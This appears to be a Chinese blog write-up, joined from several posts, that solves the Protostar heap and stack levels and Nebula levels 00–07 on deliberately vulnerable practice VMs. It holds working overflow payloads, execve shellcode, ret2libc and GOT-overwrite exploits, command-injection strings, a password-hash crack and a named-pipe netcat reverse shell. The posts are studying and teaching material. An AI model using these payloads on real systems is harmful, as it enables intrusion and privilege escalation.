printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } } 这题一开始发现了非预期漏洞： user@protostar:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth 123 [ auth = 0x804c008, service = (nil) ] service 12341234123412341234123412341234 [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] 具体为啥，调一下就知道了，主要是这句auth = malloc(sizeof(auth));出问题了，变量重名导致的。 还是不明白出题人的意图。 heap 3 这题比较复杂，涉及到free()的原理，先看源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } 这个题涉及到了free时候的unlink导致的溢出问题，当然这个题为了降低难度静态编译了libc库，去掉了保护措施。推荐两篇文章： http://www.phrack.org/archives/issues/57/8.txt http://gee.cs.oswego.edu/dl/html/malloc.html 第一篇是关于堆溢出的文章，第二篇是关于dlmalloc机制的，是dlmalloc作者自己写的。 先来看看winner()函数和puts()的地址，为后面做准备。 user@protostar:/opt/protostar/bin$ objdump -d heap3 | grep win 08048864 <winner>: user@protostar:/opt/protostar/bin$ objdump -R heap3 heap3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804b0e4 R_386_GLOB_DAT __gmon_start__ 0804b140 R_386_COPY stderr 0804b0f4 R_386_JUMP_SLOT __errno_location 0804b0f8 R_386_JUMP_SLOT mmap 0804b0fc R_386_JUMP_SLOT sysconf 0804b100 R_386_JUMP_SLOT __gmon_start__ 0804b104 R_386_JUMP_SLOT mremap 0804b108 R_386_JUMP_SLOT memset 0804b10c R_386_JUMP_SLOT __libc_start_main 0804b110 R_386_JUMP_SLOT sbrk 0804b114 R_386_JUMP_SLOT memcpy 0804b118 R_386_JUMP_SLOT strcpy 0804b11c R_386_JUMP_SLOT printf 0804b120 R_386_JUMP_SLOT fprintf 0804b124 R_386_JUMP_SLOT time 0804b128 R_386_JUMP_SLOT puts 0804b12c R_386_JUMP_SLOT munmap 我们丢到gdb里调试起来，看几组堆的情况。三个堆a b c在内存中的地址分别是： a is at 0x804c008 b is at 0x804c030 c is at 0x804c058 这个只是user data开始的地址，没有算meta data部分。 在第一次free之前： (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free c之后，free b之前，注意0x0804c058这个地址被清零了。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free b之后，free a之前，注意0x0804c030被改写成为了下一个空闲chunk的地址，即C堆开始的地方。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free a之后，注意0x0804c008处的内容被改为了下一个空闲chunk的地址，即b堆开始的地方。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 初步构造payload： user@protostar:/opt/protostar/bin$ ./heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F 在gdb里面看情况: user@protostar:/opt/protostar/bin$ gdb -q ./heap3 Reading symbols from /opt/protostar/bin/heap3...done. (gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F Program received signal SIGSEGV, Segmentation fault. 0x080498fd in free (mem=0x804c058) at common/malloc.c:3638 3638 common/malloc.c: No such file or directory. in common/malloc.c (gdb) x/i $eip 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax 0x44444444 1145324612 ecx 0x0 0 edx 0x45454545 1162167621 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x80498fd 0x80498fd <free+217> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 可以看到，在执行mov DOWRD PTR [eax+0xc], edx的时候出错了，也就是要把edx的内容写入[eax+0xc]的位置，而此时EAX和EDX分别是我们可控的部分DDDD和EEEE，这样一来就能更改GOT，从而把puts函数改为winner函数。 按照这个思路构造一下payload： (gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 3638 in common/malloc.c (gdb) x/i $eip 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx (gdb) i r eax 0x8048864 134514788 ecx 0x0 0 edx 0x804b11c 134525212 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x8049906 0x8049906 <free+226> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 还需要一个shellcode跳过去，因为.text段是只读的啊。继续修改payload： (gdb) run `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F that wasn't too bad now, was it? @ 1438801558 不明白的话这个地方下个断点看看就知道了。
继续上一个系列nebula的升级版：protostar stack 0 这个题是最简单的栈溢出，目的是让大家明白栈溢出可以修改内存中的变量。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 可以看到局部变量有两个，一个是int类型，另一个是char数组，通常情况下，两个变量在栈中是这个样子的。 buff buff buff buff ... buff modified 所以我们输入64个junk byte，然后加个1就可以把modified覆盖成1了。 payload: 12341234123412341234123412341234123412341234123412341234123412341111 stack 1 基本上和上一题一样，目的是让我们区分大小端，从代码中可以看到，这里比较的是modified和0x61626364，即abcd，但是要进行大小端转换，输入的abcd在内存中会变成dcba，所以为了得到到abcd，需要输入dcba。 payload: $ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba stack 2 代码同样没有多大改变，只是从环境变量中读取内容，最后出现了不可见字符，直接输入是不可能了，借助一下python，pyload如下： user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"` user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable stack 3 这里代码变化较大： #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 这个题的目的是让我改掉EIP，这里提供了一个函数指针，所以只要将这个函数指针的地址覆盖为win()的地址就可以了，免去了覆盖返回地址的问题。首先通过objdump获取win()的地址。 user@protostar:/opt/protostar/bin$ objdump -d stack3 .... 08048424 <win>: 8048424: 55 push %ebp 8048425: 89 e5 mov %esp,%ebp 8048427: 83 ec 18 sub $0x18,%esp 804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp) 8048431: e8 2a ff ff ff call 8048360 <puts@plt> 8048436: c9 leave 8048437: c3 ret .... 多余部分这里略去了，可以看到win()函数的地址是0x08048424，但是由于大小端问题，需要变成0x24840408，然后可以构造出payload： user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed stack 4 这一题变成了正常的栈溢出问题了，需要覆盖返回地址。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 同样的先来确定win()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d stack3 ... 080483f4 <win>: 80483f4: 55 push %ebp 80483f5: 89 e5 mov %esp,%ebp 80483f7: 83 ec 18 sub $0x18,%esp 80483fa: c7 04 24 e0 84 04 08 movl $0x80484e0,(%esp) 8048401: e8 26 ff ff ff call 804832c <puts@plt> 8048406: c9 leave 8048407: c3 ret ... 这里略去多余部分。直接构造payload： user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | ./stack4 code flow successfully changed Segmentation fault 至于为啥要填充76个字节，用gdb调试一下就知道了，也可以使用pattern.py进行测试。 stack 5 到这里已经几乎是真实环境了，这里需要自己填充shellcode了，从网上找一个执行/bin/sh的shellcode吧，当然需要对应环境，下面这个是最简单的execve("/bin/sh")的命令 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" 这里还是推荐使用zio或者pwntools之类的东西。然而这是Debian 6.0，装个pwntools还要折腾。 首先确定溢出点： user@protostar:~$ python pattern.py create 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A user@protostar:/opt/protostar/bin$ gdb ./stack5 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack5...done. (gdb) run Starting program: /opt/protostar/bin/stack5 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x63413563 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x63413563 hex pattern decoded as: c5Ac 76 确定了偏移量是76。这样构造'A'*76+retAddress即可。下面来找返回地址，建议通过core dump来寻找。 user@protostar:/opt/protostar/bin$ python -c "print 'A'*76+'BBBB'" | ./stack5 Segmentation fault (core dumped) 如果没有生成core dump文件，可能需要修改/proc/sys/fs/suid_dumpable的值。 user@protostar:/opt/protostar/bin$ gdb ./stack5 /tmp/core.11.stack5.4833 Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./stack5'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10s $esp-80 0xbffff7b0: "ABCD", 'A' <repeats 110 times> 0xbffff823: "" 0xbffff824: "`\370\377\277&\006\377\267\260\372\377\267(\033\376\267\364\177", <incomplete sequence \375\267> 0xbffff839: "" 0xbffff83a: "" 0xbffff83b: "" 0xbffff83c: "" 0xbffff83d: "" 0xbffff83e: "" 0xbffff83f: "" 因为溢出点在76字节处，还需要增加4个字节的返回地址，所以buffer的地址是76+4=80字节处，所以地址为0xbffff7b0。然后就可以写payload了。 ret = 0xbffff7b0 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = shellcode + 'A' * (76 - len(shellcode)) + struct.pack("<I",ret) 搞定，如果觉得PWN完了没有效果，可以尝试下面这个shellcode，下面这个会打印出一个字符串。 \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80 stack 6 这题目难度比前面几个增加了一点，限制了返回地址，提示了好几种方法，包括ret2libc, ROP等。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); } 溢出点很容易找到，就是那个gets()导致了溢出。首先来找偏移量吧。 user@protostar:/opt/protostar/bin$ python /home/user/pattern.py create 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A user@protostar:/opt/protostar/bin$ gdb ./stack6 (gdb) run Starting program: /opt/protostar/bin/stack6 input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x37634136 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136 hex pattern decoded as: 6Ac7 80 偏移量是80，所以我们需要构造'A'*80+retAddress这样的字符串，下面寻找返回地址。 user@protostar:/opt/protostar/bin$ ./stack6 input path please: ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA got path ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) user@protostar:/opt/protostar/bin$ gdb -q ./stack6 /tmp/core.11.stack6.5674 Core was generated by `./stack6'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10x $esp-84 0xbffff79c: 0x44434241 0x41414141 0x41414141 0x41414141 0xbffff7ac: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7bc: 0x41414141 0x41414141 得到了返回地址0xbffff79c，如果返回到这个地址的话，看起来好像绕不过限制，先试一下。 import struct shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" ret = 0xbffff79c payload = shellcode + 'A' * (80-len(shellcode)) + struct.pack("<I",ret) print payload 结果： user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: bzzzt (0xbffff79c) 还是直接ret2libc吧，我们需要重新构造我们的payload： | Junk Code | system_addr | ret | bin/sh addr | 其中ret为system函数执行完的返回地址，需要注意一下。 先来找system函数和/bin/sh字符串的地址： (gdb) print system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb) print __libc_start_main $2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7eadb90 <__libc_start_main> (gdb) find 0xb7eadb90, +2200000, "/bin/sh" 0xb7fba23f warning: Unable to access target memory at 0xb7fd9647, halting search. 1 pattern found. (gdb) x/s 0xb7fba23f 0xb7fba23f: "KIND in __gen_tempname\"" 这里找到了system()函数的地址：0xb7ecffb0 遇到了奇葩的问题，没有找到/bin/sh字符串，那就放到环境变量里吧。 user@protostar:~$ export BINSH="/bin/sh" user@protostar:~$ echo $BINSH /bin/sh user@protostar:/opt/protostar/bin$ /home/user/getenvaddr BINSH ./stack6 BINSH will be at 0xbfffff88 getenvaddr的源码如下： #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); } 到这里已经可以构造payload了。 import struct exit_addr = 0xb7ec60c0 binsh_addr = 0xbfffff88 system_addr = 0xb7ecffb0 payload = 'A' * 80 + struct.pack("<I", system_addr) + struct.pack("<I", exit_addr) + struct.pack("<I", binsh_addr) print payload 其实是打成功了，主要是suid的权限会被system丢弃，所以看起来没啥反应，大家可以把system的参数换掉试试。 user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췈ÿÿ¿ user@protostar:/opt/protostar/bin$ 效果如下： user@protostar:/opt/protostar/bin$ echo $BINSH echo hello ... 修改payload ... user@protostar:/opt/protostar/bin$ python /home/user/stack6-exp.py | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°ÿ춁AAAAAAAAAAA°ÿ츀`췅ÿÿ¿ hello stack 7 这个题把返回地址限制的更死了，只要是0xb*就会被ban掉。 题目提示是return到.text端，并且提示了一个工具，可以试一下。先把前期的准备工作做好。 user@protostar:/opt/protostar/bin$ gdb ./stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) r Starting program: /opt/protostar/bin/stack7 input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x37634136 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x37634136 hex pattern decoded as: 6Ac7 80 这里我们可以找到一个在.text段，代码是pop xxx; ret之类的地方即可。先随便找一个，通过objdump就可以了。 80485f7: 5b pop %ebx 80485f8: 5d pop %ebp 80485f9: c3 ret 就这里吧，payload大概应该是这个样子： 'A'*80 + p32(0x080485f7) + junk*8 + shellcode_addr 写起来试试： import struct shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0" shellcode += "\x04\xb3\x01\x68\x64\x21\x21\x21\x68" shellcode += "\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd" shellcode += "\x80\xb0\x01\x31\xdb\xcd\x80" jump_addr = 0x080485f7 shellcode_addr = 0xbffff79c payload = shellcode + 'A' * (80-len(shellcode)) payload += struct.pack("<I", jump_addr) + 'B' * 8 payload += struct.pack("<I", shellcode_addr) 看看结果： user@protostar:/opt/protostar/bin$ python ~/stack7-exp.py | ./stack7 input path please: got path 1ﾱٱǱҰ³hd!!!hOwǹ°1܍AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Owned!!! 到这里stack环节就结束了，进入下一个环节。
最近又找到个东西玩，https://exploit-exercises.com/nebula/ 下载地址：https://drive.google.com/folderview?id=0B9RbZkKdRR8qLWZBcVBvanlLb1U&usp=sharing 这个nebula应该是其中最简单的一个练习了，看了看国内好像还没有针对这个给出WriteUp，于是就抽空写了一份，希望对大家有所帮助。 level 00 这个一题的目的是找到一个suid的文件，已经提示了是看find的文档，很简单。用find的-perm选项即可。 level00@nebula$ find / -perm -4000 > res.txt 查找完成后会看到一个/bin/.../flag00，运行后即可。 level00@nebula$ /bin/.../flag00 flag00@nebula$ getflag level 01 给了一个程序的源码，让我们继续利用的suid去执行某些东西。 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 分析源码，可以看到最后调用了system("/usr/bin/env echo and now what?");，env这个东西是从环境变量的PATH里去寻找echo的路径并执行的。但是环境变量有个特点，就是按照顺序从左向右寻找，例如：PATH=/path1:/path2，那么查找echo的时候，会先从path1开始寻找。 所以我们只要在所有的PATH之前加上一个可以控制的目录，并在里面放个echo，运行这个程序的时候就会执行我们的程序了。 level01@nebula$ PATH=/tmp:$PATH level01@nebula$ export PATH level01@nebula$ echo $PATH 这样就把/tmp加入了PATH了最左边的位置。然后就可以在/tmp下面新建一个echo文件，做猥琐的事情了。 level01@nebula$ ln -s /bin/bash /tmp/echo level01@nebula$ ./flag01 但是这样是不行的，因为bash把后面的内容当作了命令，自然是提示找不到命令。我通过了一个技巧绕过了这个限制，在/tmp下面新建一个文件echo，写入如下内容即可： #!/bin/bash /bin/bash 运行试试 level01@nebula$ ./flag01 flag01@nebula$ getflag level 02 依然是给了一段代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); } 通读代码，发现还是这个环境变量的问题，比较简单，只要设置USER变量为'a;bash;'即可。 level02@nebula$ USER='a;bash;' level02@nebula$ ./flag02 flag02@nebula$ getflag level 03 这个没有给源码，只是告诉我们有个crontab文件，进去看一下，发现writable.d目录是可写的，旁边还有个sh文件，大意是运行writable.d文件夹下所有的文件。这样一来就简单了，新建一个getflag.sh，写入如下内容： #!/bin/bash /bin/getflag > /tmp/xxx.out 等一会就运行了，然后去cat /tmp/xxx.out，发现已经成功了。 PS：这些题目的flag判断是以目标账户执行程序为标准，只要使用目标账户执行了getflag，就算成功。 level 04 这个题给了我们一个程序的源码，让我们去绕过限制，读取token文件的内容。 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); } 通读代码，发现做了两个检测，一个是参数的数量，另一个就是文件名中是否包含token字符串，很明显可以发现这个题的point在如何绕过这个文件名的问题，使用软链接就可以啦！ level04@nebula$ ln -s /home/flag04/token /tmp/abc level04@nebula$ ./flag04 /tmp/abc level 05 看题意应该是权限的问题，我们到系统里看一下。 发现/home/flag05下面有两个隐藏的目录，分别是.ssh和.backup，但是.ssh是因为权限问题进不去的。可是.backup目录却可以进入，把里面的tgz文件复制到自己的home目录下，解压发现了公钥之类的一些东西，ssh登陆127.0.0.1就可以了。 level05@nebula$ ls -al /home/flag05 level05@nebula$ cp .backup/backup<tab> ~/ level05@nebula$ tar xf backup<tab> level05@nebula$ ssh flag05@127.0.0.1 flag05@nebula$ getflag level 06 只有一句我也看不太懂的话：The flag06 account credentials came from a legacy unix system. 先登陆进去看看。找了一圈啥也没有，无意间翻到了/etc/passwd中，发现了flag06这个用户的密码存储方式比较奇葩 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh 直接丢给john the ripper去破解，秒破。 # root at lightless-kali in ~ [22:09:08] $ john password Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16]) hello (flag06) guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 22:09:14 2015) c/s: 48972 trying: 123456 - nutmegs Use the "--show" option to display all of the cracked passwords reliably # root at lightless-kali in ~ [22:09:14] $ cat password flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh 剩下的事情就不用多说了。 Ps：做完之后，想明白了题目的含义了，旧版本的unix系统密码不都是这么存的嘛，所以说came from a legacy unix system呀。 level 07 一个perl程序，用于ping检测的，第一想到的就是命令注入，先看看源码吧。 #!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print(" Ping results "); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print(" "); } # check if Host set. if not, display normal page, etc ping(param("Host")); 可以看到，程序接收一个Host参数。 wget -O- "http://127.0.0.1:7007/index.cgi?Host=localhost" 这样会返回正常的结果，想办法弹个shell回来，或者开个端口自己连上去，应该就是flag07用户了。 wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || nc -vv -l 8888;" 这样确实可以，但是并没有编译-e参数，意料之中，很多linux的发行版考虑到安全问题都去掉了-e参数，即没有指定GAPING_SECURITY_HOLE常量。但是可以绕过的，需要一点技巧。 首先现在本地进行监听（切换到其他的tty去），依然选择回弹shell的方式进行攻击。 nc -lnvp 8888 攻击思路是这样的：先创建一个管道，然后将shell的环境的输入重定向给管道，然后把输出通过nc重定向到攻击者的一端，然后将shell的执行结果再重定向到管道中，这么说可能有些混乱，我们看一下代码。 mknod /tmp/backpipe p /bin/bash 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe 